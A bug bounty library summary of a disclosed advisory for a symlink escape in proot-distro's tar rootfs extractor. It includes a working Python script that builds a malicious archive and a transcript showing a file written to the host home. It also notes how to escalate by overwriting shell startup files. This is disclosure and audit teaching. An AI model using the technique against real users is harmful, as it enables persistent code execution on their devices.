# `proot-distro install` has a Symlink Escape (Arbitrary Host File Write) via Malicious Tar Archive

proot-distro's tar extractor validated member names for '..' but not symlink targets, letting a malicious archive write arbitrary files to the Termux host home.

- Payout: Research
- Severity: high
- Program: proot-distro
- Found by: x0root
- Disclosed: 2026-07-29
- CVE: CVE-2026-54574
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-9xq3-3fqg-4vg7
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-9xq3-3fqg-4vg7
- Tags: area:os domain:desktop domain:oss impact:integrity impact:rce kind:research platform:ghsa sev:high tech:linux tech:python technique:source-review vuln:file-upload vuln:path-traversal

**Target:** proot-distro CLI tar rootfs extractor (_extract_plain_tar / _apply_layer)
**Root cause:** _extract_plain_tar rejects '..' in tar member names but never validates member.linkname, so an absolute symlink target planted in the rootfs escapes rootfs_dir; a later regular-file member written through that symlink path is followed by open() onto the host filesystem.
**Steps:**
1. Craft tar.gz: add SYMTYPE member `escape` with `linkname='/data/data/com.termux/files/home'`
2. Add regular member `escape/POC_SUCCESS` with payload bytes
3. Run `proot-distro install ./evil.tar.gz`
4. Extraction creates symlink then writes through it; verify with `cat ~/POC_SUCCESS`
**How found:** Code review of the extraction routine: noticed the traversal guard only inspects rel_parts of member names, then observed member.linkname passed verbatim to os.symlink and later open() following it.
**Exploitation:** A victim installs (or resets with) an attacker-supplied .tar.gz/.tar.xz/.tgz rootfs archive; during extraction the planted absolute symlink plus a traversing regular-file member writes attacker content into the Termux $HOME/$PREFIX at process privilege, before any container run. Overwriting ~/.bashrc or $PREFIX/etc/bash.bashrc yields persistent code execution on next shell.
**Escalation:** Host file write escalates to persistent code execution by targeting shell startup files (~/.bashrc, ~/.profile, $PREFIX/etc/bash.bashrc).
**Insight:** When auditing archive extractors, check symlink/hardlink targets as a separate trust boundary from member names — an absolute linkname plus a subsequent file member under that path defeats name-only '..' filters; also grep for the same extractor reused by reset/docker layer code.

## Proof of concept (copied exactly from the original report)

**Malicious tar crafting script with symlink escape**

```
# craft_evil_layer.py
import tarfile, io, hashlib

PAYLOAD = b"TERMUX_ESCAPE_SUCCESS\n"

buf = io.BytesIO()
with tarfile.open(fileobj=buf, mode='w:gz') as tf:

    # Plant symlink: <rootfs>/escape → /data/data/com.termux/files/home
    sym = tarfile.TarInfo(name='escape')
    sym.type = tarfile.SYMTYPE
    sym.linkname = '/data/data/com.termux/files/home'
    tf.addfile(sym)

    # Write file through symlink: <rootfs>/escape/POC_SUCCESS → host ~/POC_SUCCESS
    reg = tarfile.TarInfo(name='escape/POC_SUCCESS')
    reg.size = len(PAYLOAD)
    tf.addfile(reg, io.BytesIO(PAYLOAD))

data = buf.getvalue()
with open('evil.tar.gz', 'wb') as f:
    f.write(data)

print("Created evil.tar.gz")
print("sha256:", hashlib.sha256(data).hexdigest())
```

**Install command and host write verification**

```
$ proot-distro install ./evil.tar.gz
[*] Installing from 'evil.tar.gz' as 'evil'...
[*] Extracting rootfs from archive...
[*] Finished installation.

### Step 3 — Verify proot-distro version

$ pkg show proot-distro | grep Version
WARNING: apt does not have a stable CLI interface. Use with caution in scripts.

Version: 5.0.2

### Step 4 — Verify host write

$ cat ~/POC_SUCCESS
TERMUX_ESCAPE_SUCCESS
```

